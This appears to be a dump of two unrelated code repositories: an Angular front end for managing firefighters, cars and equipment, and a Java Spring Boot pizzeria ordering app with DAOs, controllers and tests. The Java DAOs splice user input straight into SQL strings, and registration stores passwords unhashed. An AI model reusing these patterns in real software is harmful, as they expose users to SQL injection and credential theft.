RefreshAndHistoryCourseTable { constructor(private table: TableService) {} getConfig(): Column[] { this.table.clearColumns(); this.table .addColumn('index') .addTranslation('courses.ordinalNumber') .save(); this.table .addColumn('courseCompletitionDate') .setColumnType(ColumnType.DATE) .addTranslation('courses.courseCompleting') .save(); this.table .addColumn('courseValidityEnd') .setColumnType(ColumnType.DATE) .addTranslation('courses.applicationDate') .save(); return this.table.getConfig(); } } <file_sep>import { Component, Inject } from '@angular/core'; import { AppToastrService } from '@app/core/toastr'; import { EquipmentService } from './../equipment.service'; import { MAT_DIALOG_DATA } from '@angular/material'; import { ModalService } from '@app/components/modal'; @Component({ selector: 'app-equipment-delete', templateUrl: './equipment-delete.component.html', styleUrls: ['./equipment-delete.component.scss'] }) export class EquipmentDeleteComponent { constructor( @Inject(MAT_DIALOG_DATA) public data: { id: number; name: string }, private equipmentService: EquipmentService, private toastr: AppToastrService, private modal: ModalService ) {} removeEquipmentItem(): void { this.equipmentService.remove(this.data.id).subscribe( () => { this.toastr.success('equipment.message.delete.success', { name: this.data.name }); this.modal.close(); }, () => this.toastr.error('equipment.message.delete.error') ); } } <file_sep>import { HttpClient } from '@angular/common/http'; import { Injectable } from '@angular/core'; import { Observable } from 'rxjs'; import { environment } from 'environments/environment'; @Injectable() export class ActionsService { private requestUrl = `${environment.SERVER_URL}/api/actions`; constructor(private http: HttpClient) { } query(): Observable<any> { return this.http.get(this.requestUrl); } save(action: any): Observable<any> { // change type return this.http.post(this.requestUrl, action); } } <file_sep>import { MatButtonModule, MatCheckboxModule, MatDividerModule, MatInputModule, MatListModule, MatSelectModule } from '@angular/material'; import { NO_ERRORS_SCHEMA, NgModule } from '@angular/core'; import { ActionsComponent } from './actions.component'; import { ActionsModalComponent } from './actions-modal/actions-modal.component'; import { ActionsRoutingModule } from './actions.routing'; import { ActionsService } from './actions.service'; import { AddFirefightersComponent } from './actions-modal/add-firefighters/add-firefighters.component'; import { AddMultitudeModalComponent } from './actions-modal/add-multitude-modal/add-multitude-modal.component'; import { AddUsedEquipmentItemsComponent } from './actions-modal/add-used-equipment-items/add-used-equipment-items.component'; import { DatePickerModule } from '@app/components/date-picker'; import { ModalModule } from '@app/components/modal'; import { PaginationModule } from '@app/components/pagination'; import { SharedModule } from '@app/shared'; import { TableModule } from '@app/components/table'; import { TimePickerModule } from '@app/components/time-picker'; @NgModule({ imports: [ SharedModule, MatButtonModule, MatInputModule, MatDividerModule, MatSelectModule, MatCheckboxModule, MatListModule, DatePickerModule, TimePickerModule, ModalModule, TableModule, PaginationModule, ActionsRoutingModule ], declarations: [ ActionsComponent, ActionsModalComponent, AddMultitudeModalComponent, AddFirefightersComponent, AddUsedEquipmentItemsComponent ], entryComponents: [ActionsModalComponent, AddMultitudeModalComponent, AddFirefightersComponent, AddUsedEquipmentItemsComponent], providers: [ActionsService], schemas: [NO_ERRORS_SCHEMA] }) export class ActionsModule { } <file_sep>import * as _ from 'lodash'; import { MatDialog, MatDialogRef } from '@angular/material'; import { Injectable } from '@angular/core'; @Injectable() export class ModalService { dialogRef: Array<MatDialogRef<any>> = []; constructor(private modal: MatDialog) {} open(component, data: Object = {}, options: Object = {}) { this.dialogRef.push(this.modal.open(component, _.assignIn({ width: '950px', disableClose: true, data: data }, options))); return _.last(this.dialogRef); } close(data?: Object) { _.last(this.dialogRef).close(data); this.dialogRef.splice(-1, 1); } } <file_sep>export class SelectDictionary { value: string | number; nlsCode?: string; key?: string; } <file_sep>export * from './menu-position'; export * from './firefighters'; export * from './pagination-config'; export * from './select-dictionary'; export * from './car'; export * from './equipment-item'; export * from './minimal'; export * from './medical-examination'; export * from './credentials'; <file_sep>export enum ActionsType { FIRE = 'FIRE', COLLISION = 'COLLISION', EXERCISES = 'EXERCISES', LOCAL_RISK = 'LOCAL_RISK', SEARCH_RESCUE = 'SEARCH_RESCUE', SECURITY = 'SECURITY', ACCIDENT = 'ACCIDENT', FALSE_ALARMS = 'FALSE_ALARMS' } <file_sep>import { Component, Inject } from '@angular/core'; import { AppToastrService } from '@app/core/toastr'; import { FirefightersService } from '../firefighters.service'; import { MAT_DIALOG_DATA } from '@angular/material'; import { ModalService } from '@app/components/modal'; @Component({ selector: 'app-firefighters-delete', templateUrl: './firefighters-delete.component.html', styleUrls: ['./firefighters-delete.component.scss'] }) export class FirefightersDeleteComponent { constructor( @Inject(MAT_DIALOG_DATA) public data: { id: number; name: string }, private firefightersService: FirefightersService, private toastr: AppToastrService, private modal: ModalService ) {} removeFirefighters(): void { this.firefightersService.remove(this.data.id).subscribe( () => { this.toastr.success('firefighters.msg.delete.success', { name: this.data.name }); this.modal.close(); }, () => this.toastr.error('firefighters.msg.delete.error') ); } } <file_sep>import { MatButtonModule, MatCardModule } from '@angular/material'; import { NO_ERRORS_SCHEMA, NgModule } from '@angular/core'; import { DatePickerModule } from '@app/components/date-picker'; import { MedicalExaminationComponent } from './medical-examination.component'; import { MedicalExaminationModalComponent } from './medical-examination-modal/medical-examination-modal.component'; import { MedicalExaminationRoutingModule } from './medical-examination.routing'; import { MedicalExaminationService } from './medical-examination.service'; import { ModalModule } from '@app/components/modal'; import { PaginationModule } from '@app/components/pagination'; import { SharedModule } from '@app/shared'; import { TableModule } from '@app/components/table'; @NgModule({ imports: [ SharedModule, TableModule, PaginationModule, ModalModule, MatButtonModule, DatePickerModule, MedicalExaminationRoutingModule, MatCardModule ], declarations: [MedicalExaminationComponent, MedicalExaminationModalComponent], entryComponents: [MedicalExaminationModalComponent], schemas: [NO_ERRORS_SCHEMA], providers: [MedicalExaminationService] }) export class MedicalExaminationModule { } <file_sep>import { FirefighterType, Gender } from '@app/shared/enums'; export class Firefighter { id?: number; name: string; surname: string; gender: Gender; login: string; password?: string; courseCompletitionDate: Date; medicalExaminationDate: Date; birthdayDate: Date; entryDate: Date; type: FirefighterType; role: string; firstLogin: boolean; createdAt?: Date; updatedAt?: Date; } <file_sep>import { MatButtonModule, MatInputModule, MatSelectModule, MatTooltipModule } from '@angular/material'; import { NO_ERRORS_SCHEMA, NgModule } from '@angular/core'; import { CarsComponent } from './cars.component'; import { CarsDeleteComponent } from './cars-delete/cars-delete.component'; import { CarsModalComponent } from './cars-modal/cars-modal.component'; import { CarsRoutingModule } from './cars.routing'; import { CarsService } from './cars.service'; import { DatePickerModule } from '@app/components/date-picker'; import { InputNumberModule } from '@app/components/input-number'; import { ModalModule } from '@app/components/modal'; import { PaginationModule } from '@app/components/pagination'; import { SharedModule } from '@app/shared'; import { TableModule } from '@app/components/table'; @NgModule({ imports: [ SharedModule, ModalModule, CarsRoutingModule, MatInputModule, MatSelectModule, DatePickerModule, MatButtonModule, TableModule, PaginationModule, MatTooltipModule, InputNumberModule ], declarations: [CarsComponent, CarsModalComponent, CarsDeleteComponent], entryComponents: [CarsModalComponent, CarsDeleteComponent], providers: [CarsService], schemas: [NO_ERRORS_SCHEMA] }) export class CarsModule {} <file_sep>export * from './input-number.module'; <file_sep>import { Component, Input, OnInit, forwardRef } from '@angular/core'; import { ControlValueAccessor, NG_VALUE_ACCESSOR } from '@angular/forms'; @Component({ selector: 'app-time-picker', templateUrl: './time-picker.component.html', styleUrls: ['./time-picker.component.scss'], providers: [ { provide: NG_VALUE_ACCESSOR, multi: true, useExisting: forwardRef(() => TimePickerComponent) } ] }) export class TimePickerComponent implements OnInit, ControlValueAccessor { @Input() placeholder: string; value: string; onChange: Function = () => {}; onTouched: Function = () => {}; constructor() { } writeValue(value: any): void { this.value = value; } registerOnChange(fn: Function): void { this.onChange = fn; } registerOnTouched(fn: Function): void { this.onTouched = fn; } ngOnInit() { } changeTimeValue() { this.onChange(this.value); } } <file_sep>import * as _ from 'lodash'; import { Observable, forkJoin } from 'rxjs'; import { HttpClient } from '@angular/common/http'; import { Injectable } from '@angular/core'; import { TranslateService } from '@ngx-translate/core'; import { map } from 'rxjs/operators'; @Injectable() export class LanguageService { constructor(private translate: TranslateService, private http: HttpClient) { this.translate.setDefaultLang('pl'); } getTranslations(parts: string[]): Promise<boolean> { return new Promise((resolve, reject) => { if (_.size(parts) === 0) { resolve(true); } forkJoin(parts.map((key: string) => this.getTranslation('pl', key))).subscribe( response => resolve(true), () => resolve(true)); }); } getTranslation(lang: string, partial: string): Observable<any> { return this.http.get(`assets/i18n/${lang}/${partial}.json`).pipe( map(response => { this.translate.setTranslation('pl', response, true); return response; }) ); } } <file_sep>export * from './cars.component'; export * from './cars.module'; export * from './cars.service'; <file_sep>export * from './firefighters.component'; export * from './firefighters.module'; export * from './firefighters.service'; <file_sep>import { Injectable } from '@angular/core'; import { MenuPosition } from '@app/shared/model'; @Injectable() export class MenuService { menuPosition: MenuPosition = new MenuPosition(); menu: Array<MenuPosition> = []; constructor() { } getMenu() { return this.menu; } addPosition(name: string) { this.menuPosition.position = name; return this; } addTranslation(translation: string) { this.menuPosition.translation = translation; return this; } addLink(link: string) { this.menuPosition.link = link; return this; } addIcon(icon: string) { this.menuPosition.icon = `../../../assets/image/menu/${icon}`; return this; } setVisibility(isVisible: boolean) { this.menuPosition.isVisible = isVisible; return this; } setPermision(permisions: string | string[]) { this.menuPosition.permision = permisions; return this; } clearMenu() { this.menu = []; } save() { this.menu.push(this.menuPosition); this.menuPosition = new MenuPosition(); } } <file_sep>import { Component, OnDestroy, OnInit } from '@angular/core'; import { NavigationEnd, Router } from '@angular/router'; import { Principal } from '@app/core/auth'; import { Subscription } from 'rxjs'; import { filter } from 'rxjs/operators'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.scss'] }) export class AppComponent implements OnInit, OnDestroy { isLoginPage: boolean; changeState: Subscription; constructor(private router: Router, private principal: Principal) { this.changeState = this.router.events.pipe( filter(evt => evt instanceof NavigationEnd) ).subscribe(() => { this.isLoginPage = this.router.url === '/login'; }); } ngOnInit() { this.principal.getUserInfoFromToken(); } ngOnDestroy() { this.changeState.unsubscribe(); } } <file_sep>import { Column, IconType } from '@app/components/table/models'; import { ColumnType } from '@app/shared/enums'; import { Injectable } from '@angular/core'; import { TableService } from '@app/components/table'; @Injectable() export class CarsTable { constructor(private table: TableService) {} getConfig(): Array<Column> { this.table .addColumn('edit') .setColumnType(ColumnType.ICON) .addIcon(IconType.EDIT) .save(); this.table .addColumn('id', '51px') .addTranslation('global.id') .save(); this.table .addColumn('mark') .addTranslation('cars.mark') .save(); this.table .addColumn('model') .addTranslation('cars.model') .save(); this.table .addColumn('operationNumber') .addTranslation('cars.operationNumber') .save(); this.table .addColumn('registrationNumber') .addTranslation('cars.registrationNumber') .save(); this.table .addColumn('technicalExaminationDate') .setColumnType(ColumnType.DATE) .addTranslation('cars.technicalExaminationDate') .save(); this.table .addColumn('insuranceDate') .setColumnType(ColumnType.DATE) .addTranslation('cars.insuranceDate') .save(); this.table .addColumn('taskCar') .setColumnType(ColumnType.TRANSLATE_TEXT) .setTranslationPrefix('cars.tasksCar') .addTranslation('cars.taskCar') .save(); this.table .addColumn('remove') .setColumnType(ColumnType.ICON) .addIcon(IconType.REMOVE) .save(); return this.table.getConfig(); } } <file_sep>import { Injectable } from '@angular/core'; import { JwtHelperService } from '@auth0/angular-jwt'; import { isArray } from 'lodash'; @Injectable() export class Principal { private role: string; private id: number; constructor() {} getUserInfoFromToken() { const helper = new JwtHelperService(); const userInfo = helper.decodeToken(sessionStorage.getItem('authorization-token')); if (userInfo) { this.role = userInfo.scope; this.id = userInfo.id; } } getUserRole(): string { return this.role; } getUserId(): number { return this.id; } hasPermision(role: string): boolean { return role === this.role; } } <file_sep>export * from './login.service'; export * from './user-access.service'; export * from './principal.service'; export * from './has-any-authority.directive'; <file_sep>import { Route, RouterModule } from '@angular/router'; import { FirefightersComponent } from './firefighters.component'; import { NgModule } from '@angular/core'; import { TranslateResolver } from '@app/core/language'; import { UserAccessGuard } from '@app/core/auth'; const route: Route = { path: '', component: FirefightersComponent, canActivate: [UserAccessGuard], data: { i18n: ['firefighters'], role: ['ADMIN'] }, resolve: { translation: TranslateResolver } }; @NgModule({ imports: [RouterModule.forChild([route])], exports: [RouterModule] }) export class FirefightersRoutingModule { constructor() { } } <file_sep>import { ColumnType } from '@app/shared/enums'; import { IconType } from './icon-type'; export class Column { name: string; width: string; translation: string; translationTooltip: string; translationPrefix: string; tooltip: string; icon: IconType; iconName: string; iconDisabled = false; type: ColumnType = ColumnType.TEXT; iconClassStr: string; iconClass: Function = () => {}; columnAction: Function = () => {}; }
6401362b8ccd61b0a61260657dbbd611606a9636
[ "TypeScript" ]
105
TypeScript
kubapyda/OSPHelpersFrontend
b8c59067501d9009e02b5c3f949dab97805dd8a9
b275e1efa1d5cfa1d5ff61f6471c60b2d5328d42
refs/heads/master
<repo_name>ViktoryaInn/pizzeriataskmain<file_sep>/src/main/java/com/example/pizzeriataskmain/controller/OrderController.java package com.example.pizzeriataskmain.controller; import com.example.pizzeriataskmain.dbService.dataSets.Ingredient; import com.example.pizzeriataskmain.dbService.dataSets.Order; import com.example.pizzeriataskmain.model.OrderDTO; import com.example.pizzeriataskmain.service.OrderService; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.ModelAttribute; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.servlet.ModelAndView; import java.time.LocalDateTime; import java.time.ZoneId; import java.util.LinkedList; @Controller public class OrderController { static final Logger logger = LoggerFactory.getLogger(ShowController.class); @Autowired OrderService orderService; @GetMapping("/orders") public ModelAndView getOrders(){ Order[] orders = orderService.getOrderList(); ModelAndView modelAndView = new ModelAndView(); modelAndView.setViewName("orderList"); logger.info("Страница заказов"); if(orders.length == 0){ logger.info("Список заказов пуст"); return modelAndView; } LinkedList<OrderDTO> responseOrders = new LinkedList<>(); for(Order order: orders){ Ingredient[] ingredients = orderService.getIngredientsByOrder(order.getId()); responseOrders.add(new OrderDTO(order.getClientName(), order.getClientPhone(), order.getCost(), order.getDate(), ingredients)); } logger.info("Выведены все заказы"); modelAndView.addObject("orders", responseOrders); return modelAndView; } @PostMapping("/orders/add") public void addOrder(@ModelAttribute("name") String name, @ModelAttribute("phone") String phone, @ModelAttribute("cost") String cost, @ModelAttribute("ingredients") String ingredientsString){ Order order = new Order(name, phone, Integer.parseInt(cost), java.util.Date.from(LocalDateTime.now().atZone(ZoneId.systemDefault()).toInstant())); orderService.addOrder(order); String[] ingredients = ingredientsString.split(" "); for(String ingredient: ingredients){ orderService.addIngredientToOrder(order.getId(), ingredient); } logger.info(String.format("Заказ для «%s» создан", name)); } } <file_sep>/src/test/java/com/example/pizzeriataskmain/OrderControllerTests.java package com.example.pizzeriataskmain; import org.springframework.security.test.context.support.WithMockUser; import com.example.pizzeriataskmain.controller.ShowController; import org.junit.jupiter.api.Test; import org.junit.runner.RunWith; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.autoconfigure.web.servlet.AutoConfigureMockMvc; import org.springframework.boot.test.context.SpringBootTest; import org.springframework.security.test.context.support.WithUserDetails; import org.springframework.test.context.junit4.SpringRunner; import org.springframework.test.web.servlet.MockMvc; import java.util.Random; import java.util.UUID; import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get; import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post; import static org.springframework.test.web.servlet.result.MockMvcResultHandlers.print; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; import static org.springframework.security.test.web.servlet.request.SecurityMockMvcRequestBuilders.formLogin; import static org.springframework.security.test.web.servlet.response.SecurityMockMvcResultMatchers.authenticated; import static org.hamcrest.Matchers.containsString; import static org.assertj.core.api.Assertions.assertThat; @RunWith(SpringRunner.class) @SpringBootTest @AutoConfigureMockMvc @WithUserDetails("homeless_narcissus") class OrderControllerTests { @Autowired MockMvc mockMvc; @Test public void getOrders() throws Exception{ this.mockMvc.perform(get("/orders")) .andDo(print()) .andExpect(authenticated()) .andExpect(content().string(containsString("List of orders"))); } } <file_sep>/src/main/java/com/example/pizzeriataskmain/controller/RegistrationController.java package com.example.pizzeriataskmain.controller; import com.example.pizzeriataskmain.dbService.dataSets.Usr; import com.example.pizzeriataskmain.service.UserService; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.ModelAttribute; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.servlet.ModelAndView; @Controller public class RegistrationController { static final Logger logger = LoggerFactory.getLogger(ShowController.class); @Autowired UserService userService; @GetMapping("/registration") public String registration() { logger.info("Страница регистрации"); return "registration"; } @PostMapping("/registration") public ModelAndView registration(@ModelAttribute("login") String login, @ModelAttribute("password") String password) { System.out.println(login + " " + password); ModelAndView modelAndView = new ModelAndView(); if(userService.findByLogin(login) == null){ userService.register(new Usr(login, password, "USER")); logger.info(String.format("Пользователь «%s» успешно зарегистрирован", login)); modelAndView.setViewName("login"); }else { modelAndView.setViewName("registration"); modelAndView.addObject("error", true); logger.info(String.format("Пользователь с логином «%s» уже существует", login)); } return modelAndView; } } <file_sep>/src/main/java/com/example/pizzeriataskmain/dbService/dao/OrderIngredientsDAO.java package com.example.pizzeriataskmain.dbService.dao; import com.example.pizzeriataskmain.dbService.dataSets.OrderIngredients; import com.example.pizzeriataskmain.dbService.executor.Executor; import java.sql.Connection; import java.sql.SQLException; import java.util.LinkedList; public class OrderIngredientsDAO { private final Executor executor; public OrderIngredientsDAO(Connection connection) { executor = new Executor(connection); } public void insert(String orderId, String ingredientId) throws SQLException { executor.execUpdate(String.format("insert into ORDER_INGREDIENTS_TABLE (order_id, ingredient_id) values ('%s', '%s')", orderId, ingredientId)); } public OrderIngredients[] getByOrder(String orderId) throws SQLException { return executor.execQuery(String.format("select * from ORDER_INGREDIENTS_TABLE where order_id='%s'", orderId), result -> { var list = new LinkedList<OrderIngredients>(); while(result.next()){ list.add(new OrderIngredients( result.getString("ingredient_id"), result.getString("order_id"))); } return list.toArray(new OrderIngredients[0]); }); } public void deleteByOrder(String orderId) throws SQLException { executor.execUpdate(String.format("delete from ORDER_INGREDIENTS_TABLE where order_id='%s'", orderId)); } public void deleteByIngredient(String ingredientId) throws SQLException { executor.execUpdate(String.format("delete from ORDER_INGREDIENTS_TABLE where ingredient_id='%s'", ingredientId)); } } <file_sep>/src/main/java/com/example/pizzeriataskmain/dbService/dataSets/Order.java package com.example.pizzeriataskmain.dbService.dataSets; import java.util.Date; import java.util.UUID; public class Order { public Order() {} private String id = UUID.randomUUID().toString(); private String clientName; private String clientPhone; private int cost; private Date date; public Order(String id, String clientName, String clientPhone, int cost, Date date){ this.id = id; this.clientName = clientName; this.clientPhone = clientPhone; this.cost = cost; this.date = date; } public Order(String clientName, String clientPhone, int cost, Date date){ this.clientName = clientName; this.clientPhone = clientPhone; this.cost = cost; this.date = date; } public String getId() { return id; } public String getClientName() { return clientName; } public String getClientPhone() { return clientPhone; } public int getCost() { return cost; } public Date getDate() {return date;} public void setClientName(String clientName){ this.clientName = clientName; } public void setClientPhone(String clientPhone){ this.clientPhone = clientPhone; } public void setCost(int cost) { this.cost = cost; } public void setDate(Date date) { this.date = date; } } <file_sep>/src/main/java/com/example/pizzeriataskmain/service/IngredientService.java package com.example.pizzeriataskmain.service; import com.example.pizzeriataskmain.dbService.DBService; import com.example.pizzeriataskmain.dbService.dataSets.Ingredient; import org.springframework.stereotype.Service; //import pizzeria.dbService.DBService; //import pizzeria.dbService.dataSets.Ingredient; @Service public class IngredientService { private final DBService dbService = new DBService(); public Ingredient[] getIngredientsList(){ return dbService.getListIngredient(); } public Ingredient getIngredient(String id){ return dbService.getIngredient(id); } public void addIngredient(Ingredient ingredient){ dbService.addIngredient(ingredient); } public void updateIngredient(Ingredient ingredient){ dbService.updateIngredient(ingredient); } public void deleteIngredient(String id){ dbService.deleteIngredient(id); } } <file_sep>/src/main/java/com/example/pizzeriataskmain/controller/ShowController.java package com.example.pizzeriataskmain.controller; import com.example.pizzeriataskmain.dbService.dataSets.Ingredient; import com.example.pizzeriataskmain.service.IngredientService; import com.example.pizzeriataskmain.service.UserService; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.security.core.Authentication; import org.springframework.security.core.context.SecurityContextHolder; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.servlet.ModelAndView; @Controller public class ShowController { static final Logger logger = LoggerFactory.getLogger(ShowController.class); @Autowired IngredientService ingredientService; @Autowired UserService userService; @GetMapping("/") public ModelAndView index(){ Authentication authentication = SecurityContextHolder.getContext().getAuthentication(); String currentUserName = authentication.getName(); ModelAndView modelAndView = new ModelAndView(); logger.info("Главная страница"); if(!currentUserName.equals("anonymousUser")){ modelAndView.addObject("user", currentUserName); Ingredient[] ingredients = ingredientService.getIngredientsList(); modelAndView.addObject("ingredients", ingredients); String currentUserRole = userService.findByLogin(currentUserName).getRole(); modelAndView.addObject("userRole", currentUserRole); logger.info("Выведены все ингредиенты"); } modelAndView.setViewName("index"); return modelAndView; } } <file_sep>/src/main/resources/application.properties server.port=8080 spring.datasource.url=jdbc:mysql://localhost:3306/pizzeria_db?serverTimezone=UTC spring.datasource.username=root spring.datasource.password=<PASSWORD> spring.sql.init.platform=mysql logging.file.name=logging.log <file_sep>/src/main/java/com/example/pizzeriataskmain/dbService/DBService.java package com.example.pizzeriataskmain.dbService; import com.example.pizzeriataskmain.dbService.dao.IngredientDAO; import com.example.pizzeriataskmain.dbService.dao.OrderDAO; import com.example.pizzeriataskmain.dbService.dao.OrderIngredientsDAO; import com.example.pizzeriataskmain.dbService.dao.UserDAO; import com.example.pizzeriataskmain.dbService.dataSets.Ingredient; import com.example.pizzeriataskmain.dbService.dataSets.Order; import com.example.pizzeriataskmain.dbService.dataSets.OrderIngredients; import com.example.pizzeriataskmain.dbService.dataSets.Usr; import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException; import java.util.LinkedList; public class DBService { private final Connection connection; public DBService() { this.connection = getMySQLConnection(); System.out.println("Соединение с СУБД выполнено"); } private Connection getMySQLConnection() { try { Class.forName("com.mysql.cj.jdbc.Driver"); String url = "jdbc:mysql://localhost:3306/pizzeria_db"; String login = "root"; String pass = "<PASSWORD>"; return DriverManager.getConnection(url, login, pass); } catch (ClassNotFoundException | SQLException e) { e.printStackTrace(); } return null; } public Ingredient[] getListIngredient() { try { return new IngredientDAO(connection).getAll(); } catch (SQLException e) { e.printStackTrace(); return new Ingredient[0]; // TODO: исправить } } public Ingredient getIngredient(String id) { try{ return new IngredientDAO(connection).get(id); } catch (SQLException e){ e.printStackTrace(); return new Ingredient(); // TODO: исправить } } public void addIngredient(Ingredient ingredient) { try { connection.setAutoCommit(false); new IngredientDAO(connection).insert(ingredient); connection.commit(); } catch (SQLException e) { e.printStackTrace(); } } public void updateIngredient(Ingredient ingredient) { try { connection.setAutoCommit(false); new IngredientDAO(connection).update(ingredient); connection.commit(); } catch (SQLException e) { e.printStackTrace(); } } public void deleteIngredient(String id) { try { connection.setAutoCommit(false); new IngredientDAO(connection).delete(id); connection.commit(); } catch (SQLException e) { e.printStackTrace(); } } public Order[] getListOrder() { try { return new OrderDAO(connection).getAll(); } catch (SQLException e) { e.printStackTrace(); return new Order[0]; // TODO: исправить } } public Order getOrder(String id) { try{ return new OrderDAO(connection).get(id); } catch (SQLException e){ e.printStackTrace(); return new Order(); // TODO: исправить } } public Ingredient[] getIngredientsByOrder(String orderId){ try{ OrderIngredients[] orderIngredients = new OrderIngredientsDAO(connection).getByOrder(orderId); var list = new LinkedList<Ingredient>(); for(OrderIngredients orderIngredient: orderIngredients){ list.add(new IngredientDAO(connection).get(orderIngredient.getIngredientId())); } return list.toArray(new Ingredient[0]); }catch(SQLException e){ e.printStackTrace(); return new Ingredient[0]; } } public void addOrder(Order order) { try { connection.setAutoCommit(false); new OrderDAO(connection).insert(order); connection.commit(); } catch (SQLException e) { e.printStackTrace(); } } public void addIngredientToOrder(String orderId, String ingredientId){ try{ connection.setAutoCommit(false); new OrderIngredientsDAO(connection).insert(orderId, ingredientId); connection.commit(); } catch (SQLException e){ e.printStackTrace(); } } public void updateOrder(Order order) { try { connection.setAutoCommit(false); new OrderDAO(connection).update(order); connection.commit(); } catch (SQLException e) { e.printStackTrace(); } } public void deleteOrder(String id) { try { connection.setAutoCommit(false); new OrderDAO(connection).delete(id); connection.commit(); } catch (SQLException e) { e.printStackTrace(); } } public void addUser(Usr user){ try{ connection.setAutoCommit(false); new UserDAO(connection).insert(user); connection.commit(); } catch (SQLException e){ e.printStackTrace(); } } public Usr getUser(String login) { return new UserDAO(connection).get(login); } public boolean checkUserExists(String login) throws SQLException { return new UserDAO(connection).checkUserExists(login); } } <file_sep>/src/main/java/com/example/pizzeriataskmain/dbService/dataSets/OrderIngredients.java package com.example.pizzeriataskmain.dbService.dataSets; public class OrderIngredients { private String ingredientId; private String orderId; public OrderIngredients(String ingredientId, String orderId){ this.ingredientId = ingredientId; this.orderId = orderId; } public String getIngredientId() { return ingredientId; } public String getOrderId() { return orderId; } } <file_sep>/src/test/java/com/example/pizzeriataskmain/IngredientControllerTests.java package com.example.pizzeriataskmain; import com.example.pizzeriataskmain.controller.ShowController; import org.junit.jupiter.api.Test; import org.junit.runner.RunWith; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.autoconfigure.web.servlet.AutoConfigureMockMvc; import org.springframework.boot.test.context.SpringBootTest; import org.springframework.security.test.context.support.WithUserDetails; import org.springframework.test.context.junit4.SpringRunner; import org.springframework.test.web.servlet.MockMvc; import java.util.Random; import java.util.UUID; import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get; import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post; import static org.springframework.test.web.servlet.result.MockMvcResultHandlers.print; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; import static org.springframework.security.test.web.servlet.request.SecurityMockMvcRequestBuilders.formLogin; import static org.springframework.security.test.web.servlet.response.SecurityMockMvcResultMatchers.authenticated; import static org.hamcrest.Matchers.containsString; import static org.assertj.core.api.Assertions.assertThat; @RunWith(SpringRunner.class) @SpringBootTest @AutoConfigureMockMvc @WithUserDetails("homeless_narcissus") class IngredientControllerTests { @Autowired private MockMvc mockMvc; @Test public void addIngredientView() throws Exception{ this.mockMvc.perform(get("/ingredients/add")) .andDo(print()) .andExpect(authenticated()) .andExpect(content().string(containsString("Add ingredient"))); } @Test public void changeIngredientView() throws Exception{ this.mockMvc.perform(get("/ingredients/change/0411e54f-14a1-42a9-802c-bdf44b18e4e9")) .andDo(print()) .andExpect(authenticated()) .andExpect(content().string(containsString("Change ingredient"))); } @Test public void addIngredient() throws Exception{ this.mockMvc.perform(post("/ingredients/add") .param("name", "chili") .param("price", "45")) .andDo(print()) .andExpect(authenticated()) .andExpect(redirectedUrl("/")); } @Test public void changeIngredient() throws Exception{ this.mockMvc.perform(post("/ingredients/change/33a39d2d-3f0d-4ff1-b871-7cfe07111d71") .param("name", "pepper chili") .param("price", "65")) .andDo(print()) .andExpect(authenticated()) .andExpect(redirectedUrl("/")); } @Test public void deleteIngredient() throws Exception{ this.mockMvc.perform(get("/ingredients/delete/33a39d2d-3f0d-4ff1-b871-7cfe07111d71")) .andDo(print()) .andExpect(authenticated()) .andExpect(redirectedUrl("/")); } } <file_sep>/src/main/java/com/example/pizzeriataskmain/dbService/dao/UserDAO.java package com.example.pizzeriataskmain.dbService.dao; import com.example.pizzeriataskmain.dbService.dataSets.Usr; import com.example.pizzeriataskmain.dbService.executor.Executor; import java.sql.Connection; import java.sql.SQLException; public class UserDAO { private final Executor executor; public UserDAO(Connection connection) { executor = new Executor(connection); } public void insert(Usr user) throws SQLException { executor.execUpdate(String.format("insert into USER_TABLE (login, password, role) values ('%s', '%s', '%s')", user.getLogin(), user.getPassword(), user.getRole())); } public Usr get(String login) { try{ return executor.execQuery(String.format("select * from USER_TABLE where login='%s'", login), result -> { result.next(); return new Usr( result.getString("login"), result.getString("password"), result.getString("role")); }); }catch (SQLException e){ return null; } } public boolean checkUserExists(String login) throws SQLException { return executor.execQuery(String.format("select exists (select * from USER_TABLE where login='%s')", login), result -> { result.next(); return result.getBoolean(1); }); } } <file_sep>/Dockerfile FROM maven as builder WORKDIR /source COPY . /source RUN mvn clean package -U FROM maven WORKDIR /app COPY --from=builder /source/target/pizzeriataskmain-0.0.1-SNAPSHOT.jar /app EXPOSE 8080 CMD java -jar pizzeriataskmain-0.0.1-SNAPSHOT.jar<file_sep>/src/main/java/com/example/pizzeriataskmain/model/OrderDTO.java package com.example.pizzeriataskmain.model; //import pizzeria.dbService.dataSets.Ingredient; import com.example.pizzeriataskmain.dbService.dataSets.Ingredient; import java.util.Date; public class OrderDTO { private String clientName; private String clientPhone; private int cost; private String date; private Ingredient[] ingredients; public OrderDTO(String clientName, String clientPhone, int cost, Date date, Ingredient[] ingredients){ this.clientName = clientName; this.clientPhone = clientPhone; this.cost = cost; this.date = date.toString(); this.ingredients = ingredients; } public String getClientName() { return clientName; } public String getClientPhone() { return clientPhone; } public int getCost() { return cost; } public String getDate() { return date; } public Ingredient[] getIngredients() { return ingredients; } } <file_sep>/src/main/java/com/example/pizzeriataskmain/dbService/dao/IngredientDAO.java package com.example.pizzeriataskmain.dbService.dao; import com.example.pizzeriataskmain.dbService.dataSets.Ingredient; import com.example.pizzeriataskmain.dbService.executor.Executor; import java.sql.Connection; import java.sql.SQLException; import java.util.LinkedList; public class IngredientDAO { private final Executor executor; public IngredientDAO(Connection connection){ executor = new Executor(connection); } public void insert(Ingredient ingredient) throws SQLException { 